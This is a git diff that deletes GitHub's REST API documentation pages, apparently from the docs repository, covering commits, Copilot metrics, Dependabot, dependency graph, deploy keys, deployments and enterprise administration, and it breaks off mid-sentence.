-## About repository invitations - -You can view and manage invitations to collaborate on a repository. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations. - -To add a user as a collaborator, use the Collaborators endpoints instead. For more information, see [AUTOTITLE](/rest/collaborators/collaborators#add-a-repository-collaborator). - -Note that the `repo:invite` [OAuth scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps) grants targeted -access to invitations **without** also granting access to repository code, while the -`repo` scope grants permission to code as well as invitations. - - diff --git a/content/rest/commits/comments.md b/content/rest/commits/comments.md deleted file mode 100644 index e119c90e795b..000000000000 --- a/content/rest/commits/comments.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for commit comments -shortTitle: Commit comments -intro: Use the REST API to interact with commit comments. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About commit comments - -You can create, edit, and view commit comments using the REST API. A commit comment is a comment made on a specific commit. For more information, see [AUTOTITLE](/rest/guides/working-with-comments#commit-comments). - - diff --git a/content/rest/commits/commits.md b/content/rest/commits/commits.md deleted file mode 100644 index c9f6dd02b118..000000000000 --- a/content/rest/commits/commits.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for commits -shortTitle: Commits -allowTitleToDifferFromFilename: true -intro: Use the REST API to interact with commits. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/commits/index.md b/content/rest/commits/index.md deleted file mode 100644 index 4515bda72717..000000000000 --- a/content/rest/commits/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for commits -shortTitle: Commits -intro: Use the REST API to interact with commits. -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /commits - - /comments - - /statuses -redirect_from: - - /rest/reference/commits -autogenerated: rest ---- - - - - diff --git a/content/rest/commits/statuses.md b/content/rest/commits/statuses.md deleted file mode 100644 index 2aa2c017f5ef..000000000000 --- a/content/rest/commits/statuses.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: REST API endpoints for commit statuses -shortTitle: Commit statuses -intro: Use the REST API to interact with commit statuses. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About commit statuses - -You can use the REST API to allow external services to mark commits with an `error`, `failure`, `pending`, or `success` state, which is then reflected in pull requests involving those commits. Statuses can also include an optional `description` and `target_url`, and we highly recommend providing them as they make statuses much more useful in the GitHub UI. - -As an example, one common use is for continuous integration services to mark commits as passing or failing builds using status. The `target_url` would be the full URL to the build output, and the `description` would be the high level summary of what happened with the build. - -Statuses can include a `context` to indicate what service is providing that status. For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`. You can then use the REST API to [Get the combined status for a specific reference](/rest/commits/statuses#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit. - -Note that the `repo:status` [OAuth scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the `repo` scope grants permission to code as well as statuses. - -If you are developing a {% data variables.product.prodname_github_app %} and want to provide more detailed information about an external service, you may want to use the REST API to manage checks. For more information, see [AUTOTITLE](/rest/checks). - - diff --git a/content/rest/copilot/copilot-metrics.md b/content/rest/copilot/copilot-metrics.md deleted file mode 100644 index d660a7f9a0a0..000000000000 --- a/content/rest/copilot/copilot-metrics.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: REST API endpoints for Copilot metrics -shortTitle: Copilot metrics -intro: Use the REST API to view Copilot metrics. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - -You can use these endpoints to get a breakdown of aggregated metrics for various {% data variables.product.prodname_copilot %} features. The API includes: - -* Data for the last 28 days -* Numbers of active users and engaged users -* Breakdowns by language and IDE -* The option to view metrics for an enterprise, organization, or team - -If you currently use the [AUTOTITLE](/rest/copilot/copilot-usage), we recommend migrating to these endpoints as soon as possible. - -For help getting started, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/reviewing-activity-related-to-github-copilot-in-your-organization/analyzing-usage-over-time-with-the-copilot-metrics-api). - -{% data reusables.copilot.metrics-api-ghecom %} - - diff --git a/content/rest/copilot/copilot-usage.md b/content/rest/copilot/copilot-usage.md deleted file mode 100644 index f997ac6a4391..000000000000 --- a/content/rest/copilot/copilot-usage.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for GitHub Copilot usage metrics -shortTitle: Copilot usage -intro: 'Use the REST API to access {% data variables.product.prodname_copilot_short %} usage metrics for an enterprise, an organization, or a team.' -redirect_from: - - /early-access/copilot/copilot-usage-api -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - ->[!WARNING] These endpoints are retired. Use the [AUTOTITLE](/rest/copilot/copilot-metrics) endpoints instead. - diff --git a/content/rest/copilot/copilot-user-management.md b/content/rest/copilot/copilot-user-management.md deleted file mode 100644 index f7dc2b277d1e..000000000000 --- a/content/rest/copilot/copilot-user-management.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for Copilot user management -shortTitle: Copilot user management -intro: 'Use the REST API to manage the {% data variables.product.prodname_copilot_for_business %} or {% data variables.product.prodname_copilot_enterprise %} subscription for your organization.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -redirect_from: - - /rest/copilot/copilot-for-business - - /rest/copilot/copilot-business ---- - -> [!NOTE] These endpoints are in {% data variables.release-phases.public_preview %} and subject to change. - - diff --git a/content/rest/copilot/index.md b/content/rest/copilot/index.md deleted file mode 100644 index a704cb30b88f..000000000000 --- a/content/rest/copilot/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: REST API endpoints for Copilot -shortTitle: Copilot -intro: >- - Use the REST API to manage the {% data - variables.product.prodname_copilot_for_business %} subscription for your - organization. -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -children: - - /copilot-metrics - - /copilot-usage - - /copilot-user-management -versions: - fpt: '*' - ghec: '*' ---- - diff --git a/content/rest/dependabot/alerts.md b/content/rest/dependabot/alerts.md deleted file mode 100644 index ae63e035cbee..000000000000 --- a/content/rest/dependabot/alerts.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_dependabot_alerts %}' -allowTitleToDifferFromFilename: true -shortTitle: Alerts -intro: 'Use the REST API to interact with {% data variables.product.prodname_dependabot %} alerts for a repository.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -> [!NOTE] -> The ability to use the REST API to manage Dependabot alerts is currently in {% data variables.release-phases.public_preview %} and subject to change. - -## About {% data variables.product.prodname_dependabot_alerts %} - -You can view {% data variables.product.prodname_dependabot %} alerts for a repository and update individual alerts with the REST API. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - - diff --git a/content/rest/dependabot/index.md b/content/rest/dependabot/index.md deleted file mode 100644 index 0ef746dc731a..000000000000 --- a/content/rest/dependabot/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for {% data variables.product.prodname_dependabot %} -shortTitle: Dependabot -intro: 'Use the REST API to interact with {% data variables.product.prodname_dependabot %} alerts and secrets for an organization or repository.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /alerts - - /secrets -redirect_from: - - /rest/reference/dependabot -autogenerated: rest ---- - - - - diff --git a/content/rest/dependabot/secrets.md b/content/rest/dependabot/secrets.md deleted file mode 100644 index 41ebc609f242..000000000000 --- a/content/rest/dependabot/secrets.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for Dependabot secrets -shortTitle: Secrets -intro: >- - Use the REST API to manage {% data variables.product.prodname_dependabot %} - secrets for an organization or repository. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About {% data variables.product.prodname_dependabot %} secrets - -You can create, update, delete, and retrieve information about encrypted secrets using the REST API. {% data reusables.actions.about-secrets %} For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#storing-credentials-for-dependabot-to-use). - -{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `dependabot_secrets` permission to use these endpoints. Authenticated users must have collaborator access to a repository to create, update, or read secrets. - - diff --git a/content/rest/dependency-graph/dependency-review.md b/content/rest/dependency-graph/dependency-review.md deleted file mode 100644 index e07854007286..000000000000 --- a/content/rest/dependency-graph/dependency-review.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for dependency review -shortTitle: Dependency review -intro: Use the REST API to interact with dependency changes. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About dependency review - -You can use the REST API to view dependency changes, and the security impact of these changes, before you add them to your environment. You can view the diff of dependencies between two commits of a repository, including vulnerability data for any version updates with known vulnerabilities. For more information about dependency review, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - - diff --git a/content/rest/dependency-graph/dependency-submission.md b/content/rest/dependency-graph/dependency-submission.md deleted file mode 100644 index 6e80adacdd29..000000000000 --- a/content/rest/dependency-graph/dependency-submission.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for dependency submission -shortTitle: Dependency submission -allowTitleToDifferFromFilename: true -intro: Use the REST API to submit dependencies. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About dependency submissions - -{% data reusables.dependency-submission.about-dependency-submission %} - -You can submit dependencies in the form of a snapshot. A snapshot is a set of dependencies associated with a commit SHA and other metadata, that reflects the current state of your repository for a commit. You can choose to use pre-made actions or create your own actions to submit your dependencies in the required format each time your project is built. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -You can submit multiple sets of dependencies to be included in your dependency graph. The REST API uses the `job.correlator` property and the `detector.name` category of the snapshot to ensure the latest submissions for each workflow get shown. The `correlator` property itself is the primary field you will use to keep independent submissions distinct. An example `correlator` could be a simple combination of two variables available in actions runs: ` `. - - diff --git a/content/rest/dependency-graph/index.md b/content/rest/dependency-graph/index.md deleted file mode 100644 index 20c0366346bc..000000000000 --- a/content/rest/dependency-graph/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for the dependency graph -shortTitle: Dependency graph -allowTitleToDifferFromFilename: true -intro: Use the REST API to view dependency changes and their security impact on your repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /dependency-review - - /dependency-submission - - /sboms -redirect_from: - - /rest/reference/dependency-graph -autogenerated: rest ---- - - - - diff --git a/content/rest/dependency-graph/sboms.md b/content/rest/dependency-graph/sboms.md deleted file mode 100644 index b832e6c2716b..000000000000 --- a/content/rest/dependency-graph/sboms.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for software bill of materials (SBOM) -shortTitle: Software bill of materials (SBOM) -intro: Use the REST API to export the software bill of materials (SBOM) for a repository. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- -{% data reusables.dependency-graph.sbom-export %} - -This article gives details about the REST API endpoint. - -{% ifversion ghes %} -> [!NOTE] -> {% data variables.product.prodname_ghe_server %} does not retrieve license information for dependencies, and does not calculate information about dependents, the repositories and packages that depend on a repository. These fields will not be populated in the response. -{% endif %} - - diff --git a/content/rest/deploy-keys/deploy-keys.md b/content/rest/deploy-keys/deploy-keys.md deleted file mode 100644 index 46750fff2eab..000000000000 --- a/content/rest/deploy-keys/deploy-keys.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: REST API endpoints for deploy keys -shortTitle: Deploy keys -intro: Use the REST API to create and manage deploy keys. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -redirect_from: - - /rest/reference/deploy_keys -autogenerated: rest ---- - -## About deploy keys - -{% data reusables.repositories.deploy-keys %} - -Deploy keys can either be set up using the following API endpoints, or by using the {% data variables.product.company_short %} web interface. To learn how to set deploy keys up in the web interface, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys). - -{% ifversion deploy-keys-enterprise-org-policy %} - -You may be unable to create deploy keys if your organization or enterprise owner has set a policy to restrict their use. Furthermore, if this policy is enabled at the organization or enterprise level, existing deploy keys may be disabled. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deploy-keys) and [AUTOTITLE](/organizations/managing-organization-settings/restricting-deploy-keys-in-your-organization). -{% endif %} - -There are a few cases when a deploy key will be deleted by other activity: - -* If the deploy key is created with a {% data variables.product.pat_generic %}, deleting the {% data variables.product.pat_generic %} will also delete the deploy key. Regenerating the {% data variables.product.pat_generic %} will not delete the deploy key. -* If the deploy key is created with an {% data variables.product.prodname_oauth_app %} token, revoking the token will also delete the deploy key. - -Conversely, these activities will not delete a deploy key: - -* If the deploy key is created with a {% data variables.product.prodname_github_app %} user access token, revoking the token will not delete the deploy key. -* If the deploy key is created with a {% data variables.product.prodname_github_app %} installation access token, uninstalling or deleting the app will not delete the deploy key. -* If the deploy key is created with a {% data variables.product.pat_generic %}, regenerating the {% data variables.product.pat_generic %} will not delete the deploy key. - - diff --git a/content/rest/deploy-keys/index.md b/content/rest/deploy-keys/index.md deleted file mode 100644 index 7f3e11ae103d..000000000000 --- a/content/rest/deploy-keys/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for deploy keys -shortTitle: Deploy keys -intro: Use the REST API to create and manage deploy keys. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -children: - - /deploy-keys -autogenerated: rest ---- - - diff --git a/content/rest/deployments/branch-policies.md b/content/rest/deployments/branch-policies.md deleted file mode 100644 index 0bdb6342b438..000000000000 --- a/content/rest/deployments/branch-policies.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for deployment branch policies -allowTitleToDifferFromFilename: true -shortTitle: Deployment branch policies -intro: Use the REST API to manage custom deployment branch policies. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About deployment branch policies - -You can use the REST API to specify custom name patterns that branches must match in order to deploy to an environment. The `deployment_branch_policy.custom_branch_policies` property for the environment must be set to `true` to use these endpoints. To update the `deployment_branch_policy` for an environment, see [AUTOTITLE](/rest/deployments/environments#create-or-update-an-environment). - -For more information about restricting environment deployments to certain branches, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment#deployment-branches). - - diff --git a/content/rest/deployments/deployments.md b/content/rest/deployments/deployments.md deleted file mode 100644 index 3db57c13928c..000000000000 --- a/content/rest/deployments/deployments.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: REST API endpoints for deployments -shortTitle: Deployments -allowTitleToDifferFromFilename: true -intro: Use the REST API to create and delete deployments and deployment environments. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About deployments - -Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native). - -Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment_status) can consume. - -Deployment statuses can also include an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and -the `description` is a high-level summary of what happened with the deployment. - -GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allow third-party integrations to receive and respond to deployment requests, and update the status of a deployment as progress is made. - -Below is a simple sequence diagram for how these interactions would work. - -```text -+---------+ +--------+ +-----------+ +-------------+ -| Tooling | | GitHub | | 3rd Party | | Your Server | -+---------+ +--------+ +-----------+ +-------------+ - | | | | - | Create Deployment | | | - |--------------------->| | | - | | | | - | Deployment Created | | | - |<---------------------| | | - | | | | - | | Deployment Event | | - | |---------------------->| | - | | | SSH+Deploys | - | | |-------------------->| - | | | | - | | Deployment Status | | - | |<----------------------| | - | | | | - | | | Deploy Completed | - | | |<--------------------| - | | | | - | | Deployment Status | | - | |<----------------------| | - | | | | -``` - -Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc. - -Note that the `repo_deployment` [OAuth scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the `public_repo` and `repo` scopes grant permission to code as well. - -### Inactive deployments - -When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status. - -You can communicate that a transient environment no longer exists by setting its `state` to `inactive`. Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it. - - diff --git a/content/rest/deployments/environments.md b/content/rest/deployments/environments.md deleted file mode 100644 index f55853890403..000000000000 --- a/content/rest/deployments/environments.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for deployment environments -allowTitleToDifferFromFilename: true -shortTitle: Environments -intro: 'Use the REST API to create, configure, and delete deployment environments.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About deployment environments - -For more information about environments, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment). To manage environment secrets, see [AUTOTITLE](/rest/actions/secrets). - -{% data reusables.gated-features.environments %} - - diff --git a/content/rest/deployments/index.md b/content/rest/deployments/index.md deleted file mode 100644 index d2663d7d2b3b..000000000000 --- a/content/rest/deployments/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: REST API endpoints for deployments -shortTitle: Deployments -intro: >- - Use the REST API to create and delete deploy keys, deployments, and deployment - environments. -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /branch-policies - - /deployments - - /environments - - /protection-rules - - /statuses -redirect_from: - - /rest/reference/deployments -autogenerated: rest ---- - - - - diff --git a/content/rest/deployments/protection-rules.md b/content/rest/deployments/protection-rules.md deleted file mode 100644 index 89f073a20daf..000000000000 --- a/content/rest/deployments/protection-rules.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for protection rules -shortTitle: Protection rules -intro: 'Use the REST API to create, configure, and delete deployment protection rules.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/deployments/statuses.md b/content/rest/deployments/statuses.md deleted file mode 100644 index 324344163439..000000000000 --- a/content/rest/deployments/statuses.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for deployment statuses -shortTitle: Deployment statuses -intro: Use the REST API to manage deployment statuses. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/emojis/emojis.md b/content/rest/emojis/emojis.md deleted file mode 100644 index a2de2da396fb..000000000000 --- a/content/rest/emojis/emojis.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for emojis -shortTitle: Emojis -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to list and view all the available emojis to use on {% data - variables.product.github %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/emojis -autogenerated: rest ---- - - - - diff --git a/content/rest/emojis/index.md b/content/rest/emojis/index.md deleted file mode 100644 index 33ced7e58736..000000000000 --- a/content/rest/emojis/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: REST API endpoints for emojis -shortTitle: Emojis -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to list and view all the available emojis to use on {% data variables.product.github %}. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /emojis -autogenerated: rest ---- - - - - diff --git a/content/rest/enterprise-admin/admin-stats.md b/content/rest/enterprise-admin/admin-stats.md deleted file mode 100644 index 693a5de3d888..000000000000 --- a/content/rest/enterprise-admin/admin-stats.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: REST API endpoints for admin stats -shortTitle: Admin stats -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve a variety of metrics about your installation. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% ifversion ghes %}## About admin stats - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators. Normal users will receive a `404` response. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}{% elsif ghec %}{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %}{% endif %} - - diff --git a/content/rest/enterprise-admin/announcement.md b/content/rest/enterprise-admin/announcement.md deleted file mode 100644 index f49c8431d9a6..000000000000 --- a/content/rest/enterprise-admin/announcement.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for global announcements -shortTitle: Announcement -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage the global announcement banner in your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About announcements - -You can use the REST API to manage the global announcement banner in your enterprise. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner). - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/audit-log.md b/content/rest/enterprise-admin/audit-log.md deleted file mode 100644 index 779cad93cf27..000000000000 --- a/content/rest/enterprise-admin/audit-log.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: REST API endpoints for enterprise audit logs -shortTitle: Audit log -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve audit logs for an enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/billing.md b/content/rest/enterprise-admin/billing.md deleted file mode 100644 index cb1ece94384b..000000000000 --- a/content/rest/enterprise-admin/billing.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for enterprise billing -shortTitle: Billing -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to retrieve the billing information for a {% data - variables.product.prodname_ghe_server %} instance. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -The `manage_billing:enterprise` scope is required for {% data variables.product.pat_v1_plural %} to access these endpoints. - -> [!IMPORTANT] The API currently supports adding or removing up to 50 resources in a single operation. - - diff --git a/content/rest/enterprise-admin/bypass-requests.md b/content/rest/enterprise-admin/bypass-requests.md deleted file mode 100644 index c7f653ae0397..000000000000 --- a/content/rest/enterprise-admin/bypass-requests.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: REST API endpoints for bypass requests -shortTitle: Bypass requests -intro: Use the REST API to manage enterprise push rule bypass requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/enterprise-admin/code-security-and-analysis.md b/content/rest/enterprise-admin/code-security-and-analysis.md deleted file mode 100644 index d50a43bc8c30..000000000000 --- a/content/rest/enterprise-admin/code-security-and-analysis.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: REST API endpoints for enterprise security features for code -shortTitle: Security features for code -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage use of security features for your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/custom-properties.md b/content/rest/enterprise-admin/custom-properties.md deleted file mode 100644 index e40d61824e26..000000000000 --- a/content/rest/enterprise-admin/custom-properties.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Custom properties -shortTitle: Custom properties -intro: Use the REST API to manage custom properties for your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/enterprise-admin/global-webhooks.md b/content/rest/enterprise-admin/global-webhooks.md deleted file mode 100644 index 46f0e1b951d3..000000000000 --- a/content/rest/enterprise-admin/global-webhooks.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for global webhooks -shortTitle: Global webhooks -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage global webhooks for your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About global webhooks - -These endpoints are only available to [authenticated](/rest/overview/authenticating-to-the-rest-api) site administrators Normal users will receive a `404` response. To learn how to configure global webhooks, see [About global webhooks](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks). - -Global webhooks are automatically installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise. - -Global webhooks can subscribe to the [organization](/webhooks-and-events/webhooks/webhook-events-and-payloads#organization), [user](/webhooks-and-events/webhooks/webhook-events-and-payloads#user), [repository](/webhooks-and-events/webhooks/webhook-events-and-payloads#repository), [team](/webhooks-and-events/webhooks/webhook-events-and-payloads#team), [member](/webhooks-and-events/webhooks/webhook-events-and-payloads#member), [membership](/webhooks-and-events/webhooks/webhook-events-and-payloads#membership), [fork](/webhooks-and-events/webhooks/webhook-events-and-payloads#fork), and [ping](/webhooks-and-events/webhooks/about-webhooks#ping-event) event types. - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - - diff --git a/content/rest/enterprise-admin/index.md b/content/rest/enterprise-admin/index.md deleted file mode 100644 index e37f94705c25..000000000000 --- a/content/rest/enterprise-admin/index.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: REST API endpoints for GitHub Enterprise administration -intro: Use the REST API to administer your enterprise. -allowTitleToDifferFromFilename: true -redirect_from: - - /v3/enterprise-admin - - /v3/enterprise - - /rest/reference/enterprise-admin -versions: - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Enterprise administration -children: - - /admin-stats - - /announcement - - /audit-log - - /billing - - /bypass-requests - - /code-security-and-analysis - - /custom-properties - - /global-webhooks - - /ldap - - /license - - /manage-ghes - - /management-console - - /network-configurations - - /org-pre-receive-hooks - - /orgs - - /pre-receive-environments - - /pre-receive-hooks - - /repo-pre-receive-hooks - - /rules - - /scim - - /users -autogenerated: rest ---- - -{% ifversion fpt or ghec %} - -> [!NOTE] -> This information applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu. - -{% endif %} - -{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} - -## Endpoint URLs - -These endpoints{% 